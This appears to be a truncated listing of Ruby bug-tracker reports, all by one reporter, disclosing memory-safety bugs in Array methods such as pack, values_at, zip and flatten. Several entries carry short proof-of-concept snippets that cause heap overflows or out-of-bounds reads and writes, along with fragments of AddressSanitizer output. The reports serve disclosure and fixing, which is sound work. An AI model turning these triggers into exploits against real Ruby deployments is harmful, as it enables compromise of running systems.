Hi, I found a case that causes an oob write in array.pack() PoC: ``` buf = "Z" * 4096 $buf = buf evil = Object.new def evil.to_int $buf.replace("q") 123456789 end [evil].pack("r", buffer: buf) ``` asan...danielchong (Daniel Chong)
Hello, I discovered a heap buffer overflow in array.values_at(). I believe the root issue/potential fix is similar to #22325, but the code paths are distinct. PoC: ``` class bad < Numeric def initialize(v); @v = v; end def val...danielchong (Daniel Chong)
Hi, an OOB read seems possible in array ``` class bad < Numeric def initialize(v); @v = v; end def val; @v; end def <=>(o); @v <=> (o.is_a?(bad) ? o.val : o); end def to_int; $a.clear; @v; end def to_i; @v; end def ...danielchong (Daniel Chong)
Hi, I found a heap buffer overflow affecting array's zip functionality. PoC: ``` a = (1..3000).to_a evil = Object.new; $a = a def evil.to_ary; $a.clear; [1,2,3]; end a.zip(evil) ``` ASAN output (truncated): ERROR: AddressSa...danielchong (Daniel Chong)
Hello, there seems to be a bug in Array's flatten function. PoC: ``` a = (1..2000).to_a bad = Object.new $a = a def bad.to_ary; $a.clear; [1,2,3]; end a << bad a.flatten ``` ASAN output (truncated): ``` 7==ERROR: A...danielchong (Daniel Chong)
./ruby script.rb ``` [0, 1, -1, 10000000000000000000000, -10000000000000000000000].each do |val| begin class BasicObject def initialize(v); @v = v; end def to_s; @v.to_s; end end obj = BasicObject.new(...danielchong (Daniel Chong)
danielchong (Daniel Chong)06:29 PM Ruby Bug #22337 (Closed): OOB write in array.pack()